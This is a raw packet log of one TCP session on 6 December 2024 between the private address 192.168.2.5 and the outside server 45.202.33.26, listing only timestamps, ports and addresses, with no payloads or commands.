Dec 6, 2024 14:19:41.911576033 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.911730051 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.911820889 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.912570953 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.912671089 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.912723064 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.913567066 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.913712978 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.913752079 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.914558887 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.914653063 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.914818048 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.915565968 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.915724039 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.915796995 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.916522980 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.916613102 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.916678905 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.917557955 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.917687893 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.917736053 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.918504953 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.918639898 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.918685913 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.919511080 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.919604063 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.920116901 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.920594931 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.920687914 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.920737982 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.921500921 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.921566010 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.921612024 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.922478914 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.922678947 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.922741890 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.923609972 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.923729897 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.923940897 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.924459934 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.924591064 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.924792051 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.925443888 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.925549984 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.925595999 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.926465034 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.926567078 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.926618099 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.927448988 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.927561045 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.928442001 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.928497076 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.928572893 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.929383993 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.929440022 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.929482937 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.929529905 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.930375099 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.930509090 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.930565119 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.931444883 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.931657076 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.932332993 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.932362080 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.932465076 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.933362007 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.933408976 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.933463097 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.933732033 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.934340000 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.934552908 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.934606075 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.935367107 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.935468912 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.935508966 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.936427116 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.936503887 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.936553955 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.937347889 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.937463045 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.937522888 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.938307047 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.938414097 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.939277887 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.939338923 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.939390898 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.940259933 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.940296888 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.940440893 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.940521955 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.962590933 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.962686062 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.962738037 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.963011026 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.963125944 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.963167906 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:41.963995934 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.964102030 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.964998007 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:41.965042114 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.009089947 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.082923889 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.082941055 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.082998991 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.083019018 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.083187103 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.083228111 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.084213018 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.084225893 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.084273100 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.085170031 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.085182905 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.085256100 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.086169004 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.086348057 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.086391926 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.087024927 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.087038040 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.087075949 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.088186026 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.088198900 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.088252068 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.088987112 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.089159966 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.089513063 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.090013027 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.090187073 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.090351105 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.090989113 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.091171026 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.091989040 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.092035055 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.092179060 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.093003035 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.093046904 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.093188047 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.093225002 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.094006062 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.094163895 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.094204903 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.095166922 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.095180035 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.095220089 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.095974922 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.096123934 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.097007036 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.097054005 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.097188950 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.097546101 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.098001003 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.098186016 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.098247051 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.099060059 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.099071980 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.099127054 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.099693060 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.099708080 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.100472927 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.100512028 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.100569963 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.100756884 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.101548910 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.101654053 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.101696014 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.102492094 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.102612972 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.102650881 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.103451967 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.103545904 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.104449034 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.104505062 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.104545116 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.105561972 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.105631113 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.105767965 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.105803967 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.106409073 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.106520891 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.106560946 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.107439041 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.107573032 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.107608080 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.108375072 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.108536959 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.109338045 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.109385967 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.109469891 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.110354900 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.110394001 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.110425949 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.110460997 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.111376047 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.111465931 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.111501932 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.112343073 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.112446070 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.112483025 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.113382101 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.113461971 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.114301920 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.114341974 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.114414930 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.115340948 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.115385056 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.115438938 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.115474939 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.116291046 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.116400957 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.116441011 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.117276907 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.117386103 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.117449045 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.118284941 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.118436098 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.118474960 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.119256020 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.119384050 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.120239973 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.120313883 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.120358944 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.121227980 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.121268988 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.121329069 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.121364117 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.122276068 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.122430086 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.122473001 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.123202085 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.123332024 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.123374939 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.124202967 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.124255896 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.125190973 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.125237942 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.125294924 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.125514984 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.126183033 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.126281023 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.126878023 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.127234936 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.127300024 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.127334118 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.128165960 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.128273964 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.128336906 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.129152060 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.129275084 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.129334927 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.130197048 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.130275965 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.130399942 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.131105900 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.154819012 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.154884100 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.154953003 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.155014992 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.155098915 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.155138016 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.155981064 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.156022072 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.156069994 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.156940937 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.156981945 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.275871992 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.275903940 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.275965929 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.276293039 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.276492119 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.276537895 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.277350903 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.277445078 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.277487040 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.278274059 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.278389931 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.278434038 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.279283047 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.279381037 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.279417992 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.280360937 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.280520916 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.280563116 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.281224012 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.281312943 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.281356096 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.282249928 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.282404900 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.282455921 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.283216953 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.284539938 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.284558058 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.284573078 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.284585953 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.284615040 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.286081076 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.286099911 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.286135912 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.286171913 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.286288023 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.286324024 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.288587093 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.288605928 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.288619041 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.288633108 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.288641930 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.288675070 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.289144039 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.289259911 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.289299011 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.290206909 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.290339947 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.290375948 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.291131020 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.291246891 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.291281939 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.292119026 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.292229891 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.292265892 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.293109894 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.293194056 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.293226957 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.294099092 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.294228077 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.294270039 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.295077085 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.295149088 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.295197010 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.296087980 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.296197891 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.296236038 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.297092915 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.297182083 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.297221899 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.298048973 CET	1128	49704	45.202.33.26	192.168.2.5
